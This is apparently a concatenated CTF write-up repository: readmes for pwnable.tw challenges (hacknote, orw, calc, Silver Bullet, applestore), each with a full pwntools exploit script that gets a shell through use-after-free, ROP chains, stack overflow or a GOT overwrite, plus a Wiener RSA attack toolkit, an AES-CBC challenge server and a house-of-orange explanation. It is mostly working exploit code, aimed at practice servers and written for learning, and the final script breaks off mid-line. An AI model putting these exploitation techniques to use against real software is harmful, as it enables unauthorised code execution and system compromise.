print("Testing Wiener Attack") 36 | times = 5 37 | 38 | while(times>0): 39 | e,n,d = RSAvulnerableKeyGenerator.generateKeys(1024) 40 | print("(e,n) is (", e, ", ", n, ")") 41 | print("d = ", d) 42 | 43 | hacked_d = hack_RSA(e, n) 44 | 45 | if d == hacked_d: 46 | print("Hack WORKED!") 47 | else: 48 | print("Hack FAILED") 49 | 50 | print("d = ", d, ", hacked_d = ", hacked_d) 51 | print("-------------------------") 52 | times -= 1 53 | 54 | if __name__ == "__main__": 55 | pass 56 | 57 | 58 | -------------------------------------------------------------------------------- /2017-ctfs/20170602-TCTF-Final/reverse-oldtimes/exp/exp.py: -------------------------------------------------------------------------------- 1 | from RSAwienerHacker import * 2 | 3 | e = 65326441199468453286318255077403579659791312164553127869260446442105779909064937488537560101781375987673235379770584320200902922242466357110710512224365096172037200923774406729082247857808967592679310852236885503191205805867846536002124193676637708886499398965506519247168289750006311551455779911863709319947 4 | 5 | n = 106491733927966194442570111833195971964540708710920248828539833058388088046807126527055336225402088921783018876076946794272419044969606936676842530973101509230963945247110105556900247885580601951941082462702181710167276943785261576473507495128333901938830998211916498162015185298755857306262703571421288351501 6 | 7 | a = 33622269493924708607616624997424398912036927135599622278786063601678887543600400094409392433011134767526461813770729744913267138041445567265417022865204844947994077429853354378479239765411140344806650450747715214836133182538012671115882981194344900010564346012743782146937616191257888190694561289344531933844 8 | 9 | d = hack_RSA(e, n) 10 | 11 | def mul(x, y, z): 12 | ret = 1 13 | while y > 0: 14 | if y & 1: 15 | ret = (ret * x) % z 16 | x = (x * x) % z 17 | y >>= 1 18 | return ret 19 | 20 | str_map = map(ord, '00FFFFFFFFFFFFFFFF2E002F133EFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3C5737624E474A404B03115F0E0B3546535A163849450D325D43612A1F282609274D083D5522440134562D480A0C421E30204C103F2B0729064F1733391B12193B05043A18516352151C5B1A251D212C545E506024025C58413631230F5914FF'.decode('hex')) 21 | 22 | plain = str(mul(a, d, n)) 23 | 24 | ans = '' 25 | 26 | for i in range(0, len(plain), 2): 27 | tmp = int(plain[i]+plain[i+1], 10) 28 | ans += chr(str_map.index(tmp)) 29 | 30 | print ans[::-1] -------------------------------------------------------------------------------- /pwnable.tw/pwn-hacknote/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | ``` 4 | Arch: i386-32-little 5 | RELRO: Partial RELRO 6 | Stack: Canary found 7 | NX: NX enabled 8 | PIE: No PIE (0x8048000) 9 | ``` 10 | 11 | > uaf -> 泄漏libc -> 执行system("&system;sh\x00") 12 | 13 | `free`只释放内存,没置空指针,因此考虑申请node0及node1,note长度要大于12,然后释放node0,node1,再申请node2,最长可以控制node0的12B内存。而node0前4B是调用`puts`,参数是后4B,因此考虑泄漏`libc`中某个函数的地址,从而得到`system`地址。释放node2,申请node3仍可修改node0内容,其中前4B替换为`system`,但参数变为`system`地址开始的字符串,`system`参数需要用`;`进行间隔才能正确拿shell,因此后面内容设置为`;sh\x00`即可。(注意`'\n'`也是一个字符,会影响长度) 14 | 15 | # exp 16 | 17 | ```python 18 | from pwn import * 19 | 20 | context(arch = 'i386', os = 'linux', log_level = 'debug') 21 | 22 | DEBUG = 0 23 | 24 | f = ELF('hacknote.dms') 25 | 26 | if DEBUG: 27 | p = process('hacknote.dms') 28 | gdb.attach(p) 29 | e = ELF('libc-2.23.so') 30 | else: 31 | p = remote('chall.pwnable.tw', 10102) 32 | e = ELF('libc_32.so.6') 33 | 34 | def add(size, content): 35 | p.recvuntil(':') 36 | p.sendline('1') 37 | p.recvuntil(':') 38 | p.sendline(str(size)) 39 | p.recvuntil(':') 40 | p.sendline(str(content)) 41 | 42 | def free(index): 43 | p.recvuntil(':') 44 | p.sendline('2') 45 | p.recvuntil(':') 46 | p.sendline(str(index)) 47 | 48 | def prt(index): 49 | p.recvuntil(':') 50 | p.sendline('3') 51 | p.recvuntil(':') 52 | p.sendline(str(index)) 53 | 54 | add(100, 1) 55 | add(100, 1) 56 | free(0) 57 | free(1) 58 | 59 | puts = 0x0804862B 60 | puts_got = f.got['puts'] 61 | 62 | add(9, p32(puts) + p32(puts_got)) 63 | prt(0) 64 | 65 | puts_addr = u32(p.recv(4)) 66 | libc_base = puts_addr - e.symbols['puts'] 67 | system_addr = libc_base + e.symbols['system'] 68 | 69 | free(2) 70 | add(9, p32(system_addr) + ';sh\x00') 71 | prt(0) 72 | 73 | p.interactive() 74 | ``` 75 | -------------------------------------------------------------------------------- /2017-ctfs/20170602-TCTF-Final/reverse-oldtimes/exp/ContinuedFractions.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Created on Dec 14, 2011 3 | 4 | @author: pablocelayes 5 | 6 | ''' 7 | 8 | def rational_to_contfrac(x,y): 9 | ''' 10 | Converts a rational x/y fraction into 11 | a list of partial quotients [a0, ..., an] 12 | ''' 13 | a = x//y 14 | pquotients = [a] 15 | while a * y != x: 16 | x,y = y,x-a*y 17 | a = x//y 18 | pquotients.append(a) 19 | return pquotients 20 | 21 | #TODO: efficient method that calculates convergents on-the-go, without doing partial quotients first 22 | def convergents_from_contfrac(frac): 23 | ''' 24 | computes the list of convergents 25 | using the list of partial quotients 26 | ''' 27 | convs = []; 28 | for i in range(len(frac)): 29 | convs.append(contfrac_to_rational(frac[0:i])) 30 | return convs 31 | 32 | def contfrac_to_rational (frac): 33 | '''Converts a finite continued fraction [a0, ..., an] 34 | to an x/y rational. 35 | ''' 36 | if len(frac) == 0: 37 | return (0,1) 38 | num = frac[-1] 39 | denom = 1 40 | for _ in range(-2,-len(frac)-1,-1): 41 | num, denom = frac[_]*num+denom, num 42 | return (num,denom) 43 | 44 | def test1(): 45 | ''' 46 | Verify that the basic continued-fraction manipulation stuff works. 47 | ''' 48 | testnums = [(1, 1), (1, 2), (5, 15), (27, 73), (73, 27)] 49 | for r in testnums: 50 | (num, denom) = r 51 | print('rational number:') 52 | print(r) 53 | 54 | contfrac = rational_to_contfrac (num, denom) 55 | print('continued fraction:') 56 | print(contfrac) 57 | 58 | print('convergents:') 59 | print(convergents_from_contfrac(contfrac)) 60 | print('***********************************') 61 | 62 | if __name__ == "__main__": 63 | test1() 64 | -------------------------------------------------------------------------------- /pwnable.tw/pwn-orw/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | ``` 4 | Arch: i386-32-little 5 | RELRO: Partial RELRO 6 | Stack: Canary found 7 | NX: NX disabled 8 | PIE: No PIE (0x8048000) 9 | RWX: Has RWX segments 10 | ``` 11 | 12 | ``` 13 | line CODE JT JF K 14 | ================================= 15 | 0000: 0x20 0x00 0x00 0x00000004 A = arch 16 | 0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011 17 | 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 18 | 0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011 19 | 0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011 20 | 0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011 21 | 0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011 22 | 0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011 23 | 0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011 24 | 0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011 25 | 0010: 0x06 0x00 0x00 0x00050026 return ERRNO 26 | 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 27 | ``` 28 | 29 | > open("/home/orw/flag") -> read() -> write() 30 | 31 | 看到prctl,利用seccomp-tools查过滤,发现可以对文件进行操作,直接写shellcode读flag。 32 | 33 | # exp 34 | 35 | ```python 36 | from pwn import * 37 | 38 | DEBUG = 0 39 | 40 | if DEBUG: 41 | context(log_level = 'debug') 42 | p = process('./orw.dms') 43 | gdb.attach(p) 44 | else: 45 | p = remote('chall.pwnable.tw', 10001) 46 | 47 | addr = 0x0804A060 # bss addr 48 | path = 0x0804A0A0 # file path addr 49 | size = 0x30 # flag length 50 | payload = '' 51 | payload += asm('xor eax, eax; mov al, 5; mov ebx, %d; xor ecx, ecx; xor edx, edx; int 0x80;' % path) 52 | payload += asm('mov ebx, eax; xor eax, eax; mov al, 3; mov ecx, %d; xor edx, edx; mov dl, %d; int 0x80;' % (path, size)) 53 | payload += asm('xor eax, eax; mov al, 4; xor ebx, ebx; mov bl, 1; mov ecx, %d; xor edx, edx; mov dl, %d; int 0x80;' % (path, size)) 54 | payload += 'a' * (path - addr - len(payload)) + '/home/orw/flag\x00' 55 | 56 | print payload.encode('hex') 57 | 58 | p.recvuntil('shellcode:') 59 | 60 | p.sendline(payload) 61 | 62 | p.interactive() 63 | ``` 64 | -------------------------------------------------------------------------------- /2017-ctfs/20170602-TCTF-Final/reverse-oldtimes/exp/MillerRabin.py: -------------------------------------------------------------------------------- 1 | import random, sys 2 | 3 | def miller_rabin_pass(a, s, d, n): 4 | ''' 5 | n is an odd number with 6 | n-1 = (2^s)d, and d odd 7 | and a is the base: 1 < a < n-1 8 | 9 | returns True iff n passes the MillerRabinTest for a 10 | ''' 11 | a_to_power = pow(a, d, n) 12 | i=0 13 | #Invariant: a_to_power = a^(d*2^i) mod n 14 | 15 | # we test whether (a^d) = 1 mod n 16 | if a_to_power == 1: 17 | return True 18 | 19 | # we test whether a^(d*2^i) = n-1 mod n 20 | # for 0<=i<=s-1 21 | while(i < s-1): 22 | if a_to_power == n - 1: 23 | return True 24 | a_to_power = (a_to_power * a_to_power) % n 25 | i+=1 26 | 27 | # we reach here if the test failed until i=s-2 28 | return a_to_power == n - 1 29 | 30 | def miller_rabin(n): 31 | ''' 32 | Applies the MillerRabin Test to n (odd) 33 | 34 | returns True iff n passes the MillerRabinTest for 35 | K random bases 36 | ''' 37 | #Compute s and d such that n-1 = (2^s)d, with d odd 38 | d = n-1 39 | s = 0 40 | while d%2 == 0: 41 | d >>= 1 42 | s+=1 43 | 44 | #Applies the test K times 45 | #The probability of a false positive is less than (1/4)^K 46 | K = 20 47 | 48 | i=1 49 | while(i<=K): 50 | # 1 < a < n-1 51 | a = random.randrange(2,n-1) 52 | if not miller_rabin_pass(a, s, d, n): 53 | return False 54 | i += 1 55 | 56 | return True 57 | 58 | def gen_prime(nbits): 59 | ''' 60 | Generates a prime of b bits using the 61 | miller_rabin_test 62 | ''' 63 | while True: 64 | p = random.getrandbits(nbits) 65 | #force p to have nbits and be odd 66 | p |= 2**nbits | 1 67 | if miller_rabin(p): 68 | return p 69 | break 70 | 71 | def gen_prime_range(start, stop): 72 | ''' 73 | Generates a prime within the given range 74 | using the miller_rabin_test 75 | ''' 76 | while True: 77 | p = random.randrange(start,stop-1) 78 | p |= 1 79 | if miller_rabin(p): 80 | return p 81 | break 82 | 83 | if __name__ == "__main__": 84 | if sys.argv[1] == "test": 85 | n = sys.argv[2] 86 | print (miller_rabin(n) and "PRIME" or "COMPOSITE") 87 | elif sys.argv[1] == "genprime": 88 | nbits = int(sys.argv[2]) 89 | print(gen_prime(nbits)) 90 | 91 | 92 | -------------------------------------------------------------------------------- /pwnable.tw/pwn-calc/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | ``` 4 | Arch: i386-32-little 5 | RELRO: Partial RELRO 6 | Stack: Canary found 7 | NX: NX enabled 8 | PIE: No PIE (0x8048000) 9 | ``` 10 | 11 | > 任意读写 -> 栈溢出 -> ROP -> execve("/bin/sh", 0, 0) 12 | 13 | 根据程序逻辑分析得到,输入`+N`可以读栈上内存,输入`+N-M`可以向栈上写(注意`int`范围),恰好返回地址及其之后都可以写且不会被清空,构造ROP拿到shell即可。 14 | 15 | # exp 16 | 17 | ```python 18 | from pwn import * 19 | 20 | DEBUG = 0 21 | 22 | if DEBUG: 23 | context(log_level = 'debug') 24 | p = process('./calc.dms') 25 | gdb.attach(p, '''b *0x0804938D''') 26 | else: 27 | p = remote('chall.pwnable.tw', 10100) 28 | 29 | p.recvuntil('===\n') 30 | 31 | addr = 361 32 | 33 | pad = 0xdeadbeef 34 | 35 | # int 80 36 | g1 = 0x08049a21 # int 0x80 37 | 38 | # ecx -> 0, eax -> 0 39 | g2 = 0x08049f13 # xor ecx, ecx ; pop ebx ; mov eax, ecx ; pop esi ; pop edi ; pop ebp ; ret 40 | 41 | # edx -> 0, ebx -> '/bin/sh\x00' 42 | g3 = 0x080b6252 # pop ebx ; mov edx, ecx ; pop esi ; pop edi ; pop ebp ; ret 43 | 44 | # eax -> 11 45 | g4 = 0x0807cb7e # nop ; inc eax ; ret 46 | 47 | # ebp addr 48 | p.sendline('+360') 49 | r = int(p.recvline()) 50 | ebp_addr = r - 0x20 51 | log.info(ebp_addr) 52 | def gen(code): 53 | global addr 54 | payload = '+%d' % addr 55 | p.sendline(payload) 56 | r = int(p.recvline()) 57 | log.info('ori: ' + hex(code) +' diff: ' + hex(code - r)) 58 | if code - r >= 0x80000000: 59 | payload = '+%d-%d' % (addr, r + 0x100000000 - code) 60 | elif code - r >= 0x0: 61 | payload = '+%d+%d' % (addr, code - r) 62 | elif r - code >= 0x80000000: 63 | payload = '+%d+%d' % (addr, code + 0x100000000 - r) 64 | else: 65 | payload = '+%d-%d' % (addr, r - code) 66 | p.sendline(payload) 67 | p.recvline() 68 | addr += 1 69 | 70 | gen(g2) # ret 71 | gen(pad) # pop ebx 72 | gen(pad) # pop esi 73 | gen(pad) # pop edi 74 | gen(pad) # pop ebp 75 | 76 | gen(g3) # ret 77 | gen(ebp_addr + (400-360) * 4) # pop ebx 78 | gen(pad) # pop esi 79 | gen(pad) # pop edi 80 | gen(pad) # pop ebp 81 | 82 | # eax -> 11 83 | for i in range(11): 84 | gen(g4) 85 | 86 | gen(g1) # ret 87 | 88 | for i in range(400 - addr): 89 | gen(pad) 90 | 91 | gen(u32('/bin')) 92 | gen(u32('/sh\x00')) 93 | 94 | p.interactive() 95 | ``` 96 | -------------------------------------------------------------------------------- /pwnable.tw/pwn-Silver Bullet/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | ``` 4 | Arch: i386-32-little 5 | RELRO: Full RELRO 6 | Stack: No canary found 7 | NX: NX enabled 8 | PIE: No PIE (0x8048000) 9 | ``` 10 | 11 | > `strncat`逻辑漏洞 -> 栈溢出 -> 泄漏libc -> `system('/bin/sh\x00')` 12 | 13 | 在`power_up()`中`strncat`会把组合成的串最后添加一个`\x00`,而`main`里紧邻字符串`dest`的变量存的是`strlen(dest)`,因此可以覆盖该变量为`0`,从而重新计算长度后`strlen(dest) = strlen(src)`,再次`power_up()`可造成栈溢出。由于只有`beat()`返回值为`1`时`main()`正常返回,因此第二次`power_up()`考虑赋较大的值如`\xff\xff\xff`。 14 | 15 | 之后构造栈如下泄漏libc。 16 | 17 | ``` 18 | --------------- 19 | | got | 20 | --------------- 21 | | main() | 22 | --------------- 23 | | plt['puts'] | 24 | --------------- 25 | | 0xdeadbeef | 26 | --------------- 27 | | 0xffffff01 | 28 | --------------- 29 | ``` 30 | 31 | 同理再来一轮,栈如下执行`system('/bin/sh\x00')`。 32 | 33 | ``` 34 | --------------- 35 | | binsh | 36 | --------------- 37 | | main() | 38 | --------------- 39 | | system() | 40 | --------------- 41 | | 0xdeadbeef | 42 | --------------- 43 | | 0xffffff01 | 44 | --------------- 45 | ``` 46 | 47 | # exp 48 | 49 | ```python 50 | from pwn import * 51 | 52 | context(arch = 'i386', os = 'linux', log_level = 'debug') 53 | 54 | DEBUG = 0 55 | 56 | f = ELF('silver_bullet.dms') 57 | 58 | if DEBUG: 59 | p = process('silver_bullet.dms') 60 | gdb.attach(p) 61 | e = ELF('libc-2.23.so') 62 | else: 63 | p = remote('chall.pwnable.tw', 10103) 64 | e = ELF('libc_32.so.6') 65 | 66 | def create(s): 67 | p.recvuntil(':') 68 | p.send('1') 69 | p.recvuntil(':') 70 | p.send(s) 71 | p.recvuntil('!') 72 | 73 | def power(s): 74 | p.recvuntil(':') 75 | p.send('2') 76 | p.recvuntil(':') 77 | p.send(s) 78 | p.recvuntil('!\n') 79 | 80 | def beat(): 81 | p.send('3') 82 | p.recvuntil('!!\n') 83 | 84 | def finish(): 85 | p.send('4') 86 | p.recvuntil('!') 87 | 88 | # r1 89 | pad = 0xdeadbeef 90 | ret = 0x08048954 # once again 91 | 92 | create('a' * 47) 93 | power('a') 94 | power('\xff' * 3 + p32(pad) + p32(f.plt['puts']) + p32(ret) + p32(f.got['printf'])) 95 | beat() 96 | 97 | printf_addr = u32(p.recvuntil('\n')[:4]) 98 | libc_addr = printf_addr - e.symbols['printf'] 99 | system_addr = libc_addr + e.symbols['system'] 100 | 101 | # r2 102 | 103 | binsh_addr = libc_addr + list(e.search('/bin/sh\x00'))[0] 104 | 105 | create('a' * 47) 106 | power('a') 107 | power('\xff' * 3 + p32(pad) + p32(system_addr) + p32(ret) + p32(binsh_addr)) 108 | beat() 109 | 110 | p.interactive() 111 | ``` 112 | -------------------------------------------------------------------------------- /2017-ctfs/20170602-TCTF-Final/reverse-oldtimes/exp/RSAvulnerableKeyGenerator.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Created on Dec 14, 2011 3 | 4 | @author: pablocelayes 5 | ''' 6 | 7 | #!/usr/bin/python 8 | # -*- coding: utf-8 -*- 9 | """\ 10 | 11 | This module generates RSA-keys which are vulnerable to 12 | the Wiener continued fraction attack 13 | 14 | (see RSAfracCont.pdf) 15 | 16 | The RSA keys are obtained as follows: 17 | 1. Choose two prime numbers p and q 18 | 2. Compute n=pq 19 | 3. Compute phi(n)=(p-1)(q-1) 20 | 4. Choose e coprime to phi(n) such that gcd(e,n)=1 21 | 5. Compute d = e^(-1) mod (phi(n)) 22 | 6. e is the publickey; n is also made public (determines the block size); d is the privatekey 23 | 24 | Encryption is as follows: 25 | 1. Size of data to be encrypted must be less than n 26 | 2. ciphertext=pow(plaintext,publickey,n) 27 | 28 | Decryption is as follows: 29 | 1. Size of data to be decrypted must be less than n 30 | 2. plaintext=pow(ciphertext,privatekey,n) 31 | 32 | ------------------------------- 33 | 34 | RSA-keys are Wiener-vulnerable if d < (n^(1/4))/sqrt(6) 35 | 36 | """ 37 | 38 | import random, MillerRabin, Arithmetic 39 | 40 | def getPrimePair(bits=512): 41 | ''' 42 | genera un par de primos p , q con 43 | p de nbits y 44 | p < q < 2p 45 | ''' 46 | 47 | assert bits%4==0 48 | 49 | p = MillerRabin.gen_prime(bits) 50 | q = MillerRabin.gen_prime_range(p+1, 2*p) 51 | 52 | return p,q 53 | 54 | def generateKeys(nbits=1024): 55 | ''' 56 | Generates a key pair 57 | public = (e,n) 58 | private = d 59 | such that 60 | n is nbits long 61 | (e,n) is vulnerable to the Wiener Continued Fraction Attack 62 | ''' 63 | # nbits >= 1024 is recommended 64 | assert nbits%4==0 65 | 66 | p,q = getPrimePair(nbits//2) 67 | n = p*q 68 | phi = Arithmetic.totient(p, q) 69 | 70 | # generate a d such that: 71 | # (d,n) = 1 72 | # 36d^4 < n 73 | good_d = False 74 | while not good_d: 75 | d = random.getrandbits(nbits//4) 76 | if (Arithmetic.gcd(d,phi) == 1 and 36*pow(d,4) < n): 77 | good_d = True 78 | 79 | e = Arithmetic.modInverse(d,phi) 80 | return e,n,d 81 | 82 | if __name__ == "__main__": 83 | print("hey") 84 | for i in range(5): 85 | e,n,d = generateKeys() 86 | print ("Clave Publica:") 87 | print("e =") 88 | print(e) 89 | print("n =") 90 | print(n) 91 | print ("Clave Privada:") 92 | print("d =") 93 | print(d) 94 | print("-----------------------") 95 | -------------------------------------------------------------------------------- /2017-hitcon-quals/crypto-Secret-Server/secretserver.py: -------------------------------------------------------------------------------- 1 | import os, base64, time, random, string 2 | from Crypto.Cipher import AES 3 | from Crypto.Hash import * 4 | 5 | key = os.urandom(16) 6 | 7 | def pad(msg): 8 | pad_length = 16-len(msg)%16 9 | return msg+chr(pad_length)*pad_length 10 | 11 | def unpad(msg): 12 | return msg[:-ord(msg[-1])] 13 | 14 | def encrypt(iv,msg): 15 | msg = pad(msg) 16 | cipher = AES.new(key,AES.MODE_CBC,iv) 17 | encrypted = cipher.encrypt(msg) 18 | return encrypted 19 | 20 | def decrypt(iv,msg): 21 | cipher = AES.new(key,AES.MODE_CBC,iv) 22 | decrypted = cipher.decrypt(msg) 23 | decrypted = unpad(decrypted) 24 | return decrypted 25 | 26 | def send_msg(msg): 27 | iv = '2jpmLoSsOlQrqyqE' 28 | encrypted = encrypt(iv,msg) 29 | msg = iv+encrypted 30 | msg = base64.b64encode(msg) 31 | print msg 32 | return 33 | 34 | def recv_msg(): 35 | msg = raw_input() 36 | try: 37 | msg = base64.b64decode(msg) 38 | assert len(msg)<500 39 | decrypted = decrypt(msg[:16],msg[16:]) 40 | return decrypted 41 | except: 42 | print 'Error' 43 | exit(0) 44 | 45 | def proof_of_work(): 46 | proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in xrange(20)]) 47 | digest = SHA256.new(proof).hexdigest() 48 | print "SHA256(XXXX+%s) == %s" % (proof[4:],digest) 49 | x = raw_input('Give me XXXX:') 50 | if len(x)!=4 or SHA256.new(x+proof[4:]).hexdigest() != digest: 51 | exit(0) 52 | print "Done!" 53 | return 54 | 55 | if __name__ == '__main__': 56 | proof_of_work() 57 | with open('flag.txt') as f: 58 | flag = f.read().strip() 59 | assert flag.startswith('hitcon{') and flag.endswith('}') 60 | send_msg('Welcome!!') 61 | while True: 62 | try: 63 | msg = recv_msg().strip() 64 | if msg.startswith('exit-here'): 65 | exit(0) 66 | elif msg.startswith('get-flag'): 67 | send_msg(flag) 68 | elif msg.startswith('get-md5'): 69 | send_msg(MD5.new(msg[7:]).digest()) 70 | elif msg.startswith('get-time'): 71 | send_msg(str(time.time())) 72 | elif msg.startswith('get-sha1'): 73 | send_msg(SHA.new(msg[8:]).digest()) 74 | elif msg.startswith('get-sha256'): 75 | send_msg(SHA256.new(msg[10:]).digest()) 76 | elif msg.startswith('get-hmac'): 77 | send_msg(HMAC.new(msg[8:]).digest()) 78 | else: 79 | send_msg('command not found') 80 | except: 81 | exit(0) 82 | -------------------------------------------------------------------------------- /2017-ctfs/20170602-TCTF-Final/reverse-oldtimes/exp/Arithmetic.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Created on Dec 22, 2011 3 | 4 | @author: pablocelayes 5 | ''' 6 | 7 | def egcd(a,b): 8 | ''' 9 | Extended Euclidean Algorithm 10 | returns x, y, gcd(a,b) such that ax + by = gcd(a,b) 11 | ''' 12 | u, u1 = 1, 0 13 | v, v1 = 0, 1 14 | while b: 15 | q = a // b 16 | u, u1 = u1, u - q * u1 17 | v, v1 = v1, v - q * v1 18 | a, b = b, a - q * b 19 | return u, v, a 20 | 21 | def gcd(a,b): 22 | ''' 23 | 2.8 times faster than egcd(a,b)[2] 24 | ''' 25 | a,b=(b,a) if a= 0 49 | n = 0 50 | while x > 0: 51 | n = n+1 52 | x = x>>1 53 | return n 54 | 55 | 56 | def isqrt(n): 57 | ''' 58 | Calculates the integer square root 59 | for arbitrary large nonnegative integers 60 | ''' 61 | if n < 0: 62 | raise ValueError('square root not defined for negative numbers') 63 | 64 | if n == 0: 65 | return 0 66 | a, b = divmod(bitlength(n), 2) 67 | x = 2**(a+b) 68 | while True: 69 | y = (x + n//x)//2 70 | if y >= x: 71 | return x 72 | x = y 73 | 74 | 75 | def is_perfect_square(n): 76 | ''' 77 | If n is a perfect square it returns sqrt(n), 78 | 79 | otherwise returns -1 80 | ''' 81 | h = n & 0xF; #last hexadecimal "digit" 82 | 83 | if h > 9: 84 | return -1 # return immediately in 6 cases out of 16. 85 | 86 | # Take advantage of Boolean short-circuit evaluation 87 | if ( h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8 ): 88 | # take square root if you must 89 | t = isqrt(n) 90 | if t*t == n: 91 | return t 92 | else: 93 | return -1 94 | 95 | return -1 96 | 97 | #TEST functions 98 | 99 | def test_is_perfect_square(): 100 | print("Testing is_perfect_square") 101 | testsuit = [4, 0, 15, 25, 18, 901, 1000, 1024] 102 | 103 | for n in testsuit: 104 | print("Is ", n, " a perfect square?") 105 | if is_perfect_square(n)!= -1: 106 | print("Yes!") 107 | else: 108 | print("Nope") 109 | 110 | if __name__ == "__main__": 111 | test_is_perfect_square() -------------------------------------------------------------------------------- /2017-ctfs/20170602-TCTF-Final/pwn-world_of_fastbins/readme.md: -------------------------------------------------------------------------------- 1 | # world of fastbin 2 | 3 | This is a quite simple challenge, and there is so many ways to solve it. I present what I used during the competiton here. 4 | 5 | # Analysis 6 | Quite a simple binary, the vulnerability is very simple to find. The fill function has not checked the length. So you can actually input string of any length which will cause heap overflow. 7 | 8 | But if you do checksec the binary, you'll understand when the challenge becomes hard. 9 | We have almost all the protection here. 10 | 11 | # Solution 12 | ## leak the heap 13 | We have PIE and ASLR here, we need to get some address so we can get further. 14 | 15 | To leak the heap address, since the malloc length is set to at most 0x5f(which is 0x60 internally), we almost always use the fastbin. Well, almost, we'll see that later. When we free 2 fastbins, the second one's FD will points to the first one. That is great, since that is a heap address. But to read that, we need to use the fill function to overflow something. 16 | 17 | We use the fill to overflow the size of the next chunk, so, when free, we get a chunk bigger than its recorded size. That will give us an overlap, which may contain the next chunk. Then let the next chunk be the second fastbin chunk to be freed, we get the heap address. 18 | 19 | ## leak the libc address 20 | libc address is almost the same. Get some overlap, and read the freed chunk. The difference is that we have to free some small bin. Since small bin is a double-linked list, when it is empty, we'll get a freed chunk whose FD and BK point to some address in main_arena, which is a global variable in libc.Then we can get the libc address. To get the offset, I recommand the [script](https://github.com/Escapingbug/get_main_arena) written by me to get main_arena offset from any libc. 21 | 22 | ## control flow hijack 23 | I used the trick of the HITCON 2016 challenge "house of orange". That is, we use the unsorted bin attack to attack the _IO_list_all variable in libc. Since the content of that _IO_list_all variable is not chunk-looked, we'll get an exception. When facing exception, libc will flush the IO, using the _IO_list_all it self! So, we change the _IO_list_all to somewhere in main_arena, since we can control some of the address (the bins address) partially, we can get this work by use a fake file struct. This is almost the same as that challenge. Search for some writeups, there are plenty of them, and I don't want to add one more. 24 | 25 | # Notice 26 | The libc given is version 2.19, the smallbin trick to get libc base address depends on the libc we use, since the main_arena is at data section not code. So the length of libc is extremely important. Do aware that. I even changed to ubuntu 14.04 to make this done. 27 | 28 | # exp.py 29 | final exploit is presented in the same directory. Note that this exploit not always work, you may need several times. That is because the house of orange trick depends on some condition in the IO fresh process. And since we cannot fully control that process, we can only hope that the condition can be passed. Fortunately, that condition is very likely to be passed, so this exploit works if you try several times. 30 | -------------------------------------------------------------------------------- /pwnable.tw/pwn-applestore/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | ``` 4 | Arch: i386-32-little 5 | RELRO: Partial RELRO 6 | Stack: Canary found 7 | NX: NX enabled 8 | PIE: No PIE (0x8048000) 9 | ``` 10 | 11 | > 泄漏`libc`地址 -> 泄漏栈地址 -> 通过指针操作修改`got`表 -> 执行`system('&system_addr;/bin/sh\x00')` 12 | 13 | mycart是一个链表,第一个块是空的。`handler`包括`list`、`add`、`delete`、`cart`、`checkout`等函数。如果`checkout`能够1元购机时即总额达到`7174`,会在链表末尾增加一个新块,但这个块地址在栈上,由于`checkout`和`cart`函数内部栈结构相同,因此在`cart`中从`buf[2]`开始的内容会覆盖这个块。块结构如下,因此可以利用`cart`通过修改`name_addr`造成任意地址泄露。 14 | 15 | ``` 16 | --------------- 17 | | last | 18 | --------------- 19 | | next | 20 | --------------- 21 | | price | 22 | --------------- 23 | | name_addr | 24 | buf[2]-> --------------- 25 | ``` 26 | 27 | 由于`delete`内部处理和linux堆管理中`free`类似,就是链表删除节点操作,但没有进行检查,因此存在漏洞。如果`next = addr - 0x0c`,那么`*addr = *last`。同理如果`last = addr - 0x08`,那么`*addr = *next`。因为可以控制`atoi`传入参数,而`my_read`向`nptr`即`[ebp - 0x22]`读入值,因此考虑修改`ebp`成`got['atoi'] - 0x22`,这样能够直接修改`atoi`的`got`表中的值为`system`的地址,从而`get shell`。 28 | 29 | 30 | > hint: 31 | > 1. 由于存在指针操作,注意将next和last赋值准确,避免abort,gdb容易在出现错误前崩溃 32 | > 2. 泄漏`libc`地址之后可以通过泄漏`environ`获得栈地址 33 | > 3. 因为`libc`不可写,因此没有直接修改`got['atoi'] = &system`,因为另一个指针操作会修改system内容。 34 | 35 | 36 | # exp 37 | 38 | ```python 39 | from pwn import * 40 | 41 | context(arch = 'i386', os = 'linux', log_level = 'debug') 42 | 43 | DEBUG = 0 44 | 45 | elf = ELF('applestore.dms') 46 | 47 | if DEBUG: 48 | p = process('applestore.dms') 49 | gdb.attach(p) 50 | libc = ELF('libc-2.23.so') 51 | else: 52 | p = remote('chall.pwnable.tw', 10104) 53 | libc = ELF('libc_32.so.6') 54 | 55 | def additem(id): 56 | p.recvuntil('> ') 57 | p.send('2') 58 | p.recvuntil('Device Number> ') 59 | p.send(str(id)) 60 | 61 | def deleteitem(id): 62 | p.recvuntil('> ') 63 | p.send('3') 64 | p.recvuntil('Item Number> ') 65 | p.send(str(id)) 66 | 67 | def cart(content): 68 | p.recvuntil('> ') 69 | p.send('4') 70 | p.recvuntil('Let me check your cart. ok? (y/n) > ') 71 | p.send(content) 72 | 73 | def checkout(): 74 | p.recvuntil('> ') 75 | p.send('5') 76 | p.recvuntil('Let me check your cart. ok? (y/n) > ') 77 | p.send('y') 78 | 79 | def leakaddr(addr, num): 80 | cart('yy' + p32(addr) + p32(1) + p32(0) * 2) 81 | p.recvuntil('%d: ' % num) 82 | return u32(p.recv(4)) 83 | 84 | def change(addr, nextptr, lastptr, num): 85 | deleteitem(str(num) + p32(addr) + p32(1) + p32(nextptr) + p32(lastptr)) 86 | 87 | l = [6, 20, 